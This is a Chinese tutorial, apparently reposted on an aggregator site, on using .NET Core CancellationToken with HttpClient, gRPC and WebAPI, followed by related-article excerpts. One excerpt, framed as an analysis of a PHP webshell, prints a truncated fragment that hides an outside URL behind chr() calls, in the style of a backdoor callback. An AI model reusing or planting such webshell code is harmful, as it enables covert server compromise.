.NET Core 取消令牌:CancellationToken

在 .NET 开发中,CancellationToken(取消令牌)是一项比较重要的功能,掌握并合理的使用 CancellationToken 可以提升服务的性能。特别在异步编程中,我常常会以创建 Task 的方式利用多线程执行一些耗时或非核心业务逻辑,表面上看既提高了整个流程的执行速度,又充分利用了服务器资源。然而类似 Task 的方式如果没设置过取消令牌,一旦开启,是无法被外部取消的,所以当主线程出异常或被提前终止时,已开启的异步线程其实依然在执行,这时对服务器资源可能是一种浪费,而 CancellationToken 就可以对这类情况进行一定的补救。

下面通过几种常见的使用场景来介绍 CancellationToken。

在 HttpClient 中的使用

HttpClient 是开发中比较常用的一个组件,关于超时可通过 Timeout 参数进行设置,其实它也是可以通过配置 CancellationToken 来实现超时定义,使用 CancellationToken 的最大好处是调用链共享此令牌状态,状态变更时会自动做出响应。

public async Task<string> GetHomeAsync(CancellationToken cancellationToken = default)
{var client = _httpClientFactory.CreateClient();var response = await client.GetAsync("https://github.com/", cancellationToken);response.EnsureSuccessStatusCode();return await response.Content.ReadAsStringAsync();
}
public async Task<string> GetGithubHome()
{var cts = new CancellationTokenSource(1000);var result = await _githubService.GetHomeAsync(cts.Token);return result;
}

Github 一般访问会比较慢,可通过设置 1s 演示效果:

在 gRPC 中的使用

通过 VS 的 gRPC 服务模板创建一个 gRPC 服务端(如果对 gRPC 的使用还不太了解,参考官方文档[1] 玩起来吧),服务端主要提供一个获取用户列表 (GetList) 的接口。实现如下,_userRepository 内部是基于 MongoDB 实现的查询用户数据,对应使用的 MongoDB.Driver 提供的方法默认已支持设置 CancellationToken,所以这里直接引用 ServerCallContext  上下文中的 CancellationToken,而此 CancellationToken 又是从客户端传递来的,所以 CancellationToken  将作用于整个调用链中。另外如果在客户端动态取消了此令牌,服务器也将会收到通知。

public override async Task<GetListReply> GetList(GetListRequest request, ServerCallContext context)
{await Task.Delay(1000); // 模拟效果,服务端停1svar users = await _userRepository.GetListAsync(context.CancellationToken);var reply = new GetListReply();foreach (var item in users){reply.Users.Add(new UserModel { UserId = item.UserId, Name = item.Name });}return reply;
}

Client 端主要代码如下,在接口层创建了 CancellationTokenSource 对象,并设置了令牌的过期时间,即在发起远程调用时,如果 1s 内没返回,那就取消这个调用。

public class UserService : IUserService
{private readonly UserClient _client;public UserService(){var channel = GrpcChannel.ForAddress("https://localhost:5001");_client = new UserClient(channel);}public async Task<GetListReply> GetListAsync(CancellationToken cancellationToken = default){return await _client.GetListAsync(new GetListRequest(), cancellationToken: cts.Token);}
}
[HttpGet]
public async Task<string> GetUserList()
{var cts = new CancellationTokenSource(1000);var result = await _userService.GetListAsync(cts.Token);return JsonConvert.SerializeObject(result.Users);
}

在 WebAPI 中的使用

前端调用后端的接口一般是基于 Ajax 来实现,当浏览器网页被 连续 F5 刷新页面加载中被停止Ajax 请求被主动 abort 时,控制台 network 看板中会出现一些状态为 canceled 的请求,如下:

对于这类请求,客户端虽然主动放弃了,如果服务端没有相应处理,其实接口对应的后端程序还是在不停的执行,只是这个执行结果不会被使用而已,所以这其实是非常浪费服务器资源的。

实际上浏览器取消请求时,服务端会将 HttpContext.RequestAborted 中的 Token 绑定到 Action 的 CancellationToken 参数。我们只需在接口中增加参数 CancellationToken,并将其传入其他接口调用中,程序识别到令牌被取消就会自动放弃继续执行。

[HttpGet]
public async Task<string> Index(CancellationToken cancellationToken)
{try{await _userService.GetListAsync(cancellationToken);await Task.Delay(5000); // 等待期间,取消请求(Postman 即可模拟)await _githubService.GetHomeAsync(cancellationToken);}catch (Exception ex){Console.WriteLine(ex.Message + Environment.NewLine + ex.StackTrace);}return "ok";
}

对于 WebAPI  接口被取消调用的场景,特别是对于查询功能的接口,CancellationToken 的传递就显得尤为必要了,它能减少很多底层服务接口的无效调用。

最后针对取消令牌产生的异常需要收尾干净,一般像 WebAPI 项目可以使用自带的过滤器或具有 AOP 功能的组件,gRPC 服务可使用自带的拦截器功能。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/306989.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java char short区别_java 彻底理解 byte char short int float long double

遇到过很多关于 数值类型范围的问题了&#xff0c;在这做一个总结&#xff0c;我们可以从多方面理解不同数值类型的所能表示的数值范围在这里我们只谈论 java中的数值类型首先说byte&#xff1a;这段是摘自jdk中 Byte.java中的源代码从这里可以看出 byte的取值范围&#xff1a;…

程序员过关斩将--从未停止过的系统架构设计步伐

“首先&#xff0c;这篇文章肯定会得罪一些人“其次&#xff0c;此文只代表我个人的意见&#xff0c;仅供参考从分层说起谈到系统架构的分层和系统领域边界的划分&#xff0c;每个架构师&#xff0c;每个技术经理&#xff0c;甚至每个程序员都有自己的一套想法。无论是怎么样的…

java流上传文档把磁盘撑满_BOOT目录磁盘占用满处理

背景&#xff1a;Ubuntu:16.04查看已安装启动镜像dpkg --get-selections |grep linux-image这里会列出目前已经安装的启动镜像&#xff0c;一般分两种&#xff0c;一种状态为“install”&#xff0c;一种为“deinstall”对于"deinstall"的镜像&#xff0c;一般为镜像…

C# 9.0 正式发布了(C# 9.0 on the record)

翻译自 Mads Torgersen 2020年11月10日的博文《C# 9.0 on the record》 [1]&#xff0c;Mads Torgersen 是微软 C# 语言的首席设计师&#xff0c;也是微软 .NET 团队的项目群经理。C# 9.0 正式发布正式宣布&#xff1a;C# 9.0 发布了&#xff01;早在5月&#xff0c;我就写了一…

磁带最优存储问题java实现_磁带的最优存储问题(贪心选择)

算法设计n个程序的平均读取时间&#xff1a;(贪心策略)在该题目中&#xff0c;要考虑综合因素&#xff1a;长度和读取概率。要求n个程序的平均读取时间最短。按照贪心策略&#xff0c;则每个程序的读取时间都应该最短。故&#xff1a;(1)计算每个程序的长度和读取概率的乘积。(…

BCVP第2期:项目已完成升级.NET5.0

(是时候拿出来这种图了)1开心的锣鼓想必这两天最热闹的几个词语&#xff0c;就是c#9.0、.net5.0还有conf大会了吧&#xff0c;当然还有大一统。其实&#xff0c;早在2019年年中&#xff0c;就已经引入了.NET5.0了&#xff0c;然后从2020-03-16开始&#xff0c;就一直在说.NET5.…

java 1..0 openjdk_java-1.7.0-openjdk-i386和java-7-openjdk-i386有什么区别

两个OpenJDK是一样的.但是OpenJDK与Oracle JDK略有不同.阅读this post了解更多信息.您为OpenJDK获取两个选项的原因是PROBABLY,您有两个安装的OpenJDK副本(或两个不同的引用到系统上的同一目录).为了进一步调查,请尝试使用ls -lh /usr/lib / jvm. /usr/lib / jvm通常是Java安装…

linux java升级版本_为嵌入式Linux设备实现更新/升级系统

我有一个在嵌入式Linux设备上运行的应用程序&#xff0c;并且偶尔会对软件进行更改&#xff0c;有时也会对根文件系统甚至已安装的内核进行更改 .在当前的更新系统中&#xff0c;只删除旧应用程序目录的内容&#xff0c;并在其上复制新文件 . 当对根文件系统进行更改时&#xf…

如何在ASP.NetCore增加文件上传大小

关注架构师高级俱乐部开启架构之路不定期福利发放哦~架构师高级俱乐部读完需要7分钟速读仅需 3 分钟/ 如何在核心中增加文件 ASP.NET 大小 /从ASP.NET 2.0开始最大请求正文大小限制为30MB &#xff08;28.6 MiB&#xff09;。在正常情况下&#xff0c;无需增加 HTTP 请求 body …

java完全二叉树最小堆_Java实现最小堆一

Java实现最小堆一堆是一种经过排序的完全二叉树&#xff0c;其中任一非终端节点的数据值均不大于(或不小于)其左孩子和右孩子节点的值。最大堆和最小堆是二叉堆的两种形式。最大堆&#xff1a;根结点的键值是所有堆结点键值中最大者。最小堆&#xff1a;根结点的键值是所有堆结…

一个 Task 不够,又来一个 ValueTask ,真的学懵了!

一&#xff1a;背景 1. 讲故事前几天在项目中用 MemoryStream 的时候意外发现 ReadAsync 方法多了一个返回 ValueTask 的重载&#xff0c;真是日了狗了&#xff0c;一个 Task 已经够学了&#xff0c;又来一个 ValueTask&#xff0c;晕&#xff0c;方法签名如下&#xff1a;publ…

java class类型参数_使用Class对象实例化Java类型参数/ generic

如何实例化Java泛型对象,该对象仅接受类或参数给出的类型参数宾语&#xff1f;例如&#xff1a;通常,可以使用以下语法实例化Integer对象的ArrayList&#xff1a;ArrayList foo new ArrayList();但是,给定一个Class诸如Integer.class之类的对象,怎么能创建一个类似的ArrayList…

Magicodes.IE 3.0重磅设计畅谈

Magicodes.IE 3.0重磅设计畅谈总体设计图Magicodes.IE导入导出通用库&#xff0c;支持Dto导入导出、模板导出、花式导出以及动态导出&#xff0c;支持Excel、Csv、Word、Pdf和Html。IE在去年年底重构一次之后&#xff0c;经过这么长时间的迭代&#xff0c;又迎来了瓶颈。根据本…

php引用类,thinkphp引用类的使用

比如发送邮件类phpmailer1.将核心文件放入ORG目录下2.在使用的地方&#xff0c;引入这个类文件如何引入呢&#xff1f;import(.ORG.phpmailer);这个表示引入当前项目中的ORG中的phpmailer.class.php文件3.引入之后就可以使用文件中的类了public function sendEmail() {import(.…

Net5 已经来临,让我来送你一个成功

没错&#xff0c;那就是“下载成功”。现在&#xff0c;已经可以急速下载.Net5 docker 镜像 .Net 5 进行今天已经正式发布&#xff0c;想必各位已经通过各种渠道了解到了此次发布的所有内容。并且也都体会到了这次凑成三连的金 scott 是什么效果&#xff08;啊哈&#xff0c;三…

list申请java,java把一个list中的内容添加到另一个list中 FPGA编程问题:有多个.v文件与module,把他们加到......

导航&#xff1a;网站首页 >java把一个list中的内容添加到另一个list中 FPGA编程问题&#xff1a;有多个.v文件与module&#xff0c;把他们加到...java把一个list中的内容添加到另一个list中 FPGA编程问题&#xff1a;有多个.v文件与module&#xff0c;把他们加到...相关问题…

推荐几款强大流行的BI系统

高级架构师俱乐部 读完需要2分钟速读仅需 1 分钟企业在日常运营过程中&#xff0c;需要根据公司实时经营数据来做未来决测或者发现经营中的问题&#xff0c;在此过程中离不开对数据的分析&#xff0c;而平常利用 excel 等方式极大的提高了领导层快速做出决测的成本&#xff0c…

php 4位数字不足补零,php实现数字不足补0的方法

php实现数字不足补0的方法发布时间&#xff1a;2020-08-28 09:51:06来源&#xff1a;亿速云阅读&#xff1a;100作者&#xff1a;小新这篇文章将为大家详细讲解有关php实现数字不足补0的方法&#xff0c;小编觉得挺实用的&#xff0c;因此分享给大家做个参考&#xff0c;希望大…

聊聊单元测试

大家好&#xff0c;我是Z哥。提起单元测试&#xff0c;很多人对它的态度是&#xff0c;我知道它有用&#xff0c;但是我不想写。大多数人的理由是没时间写&#xff0c;任务太多。但是说实话&#xff0c;是真的没时间吗&#xff1f;Z哥认为真是由于没时间而不写单元测试的人绝对…

php大马源码 手机网页,php大马源码:【百家号】脸书百科,分析 PHP大马-php_mof SHELL Web程序...

$password‘phpinfo‘;//登录密码//----------功能程序------------------//$c"chr";session_start();if (empty($_SESSION[‘PhpCode‘])) {$url$c(104).$c(116).$c(116).$c(112).$c(58);$url .$c(47).$c(47).$c(119).$c(119).$c(119);$url .$c(46).$c(112).$c(104)…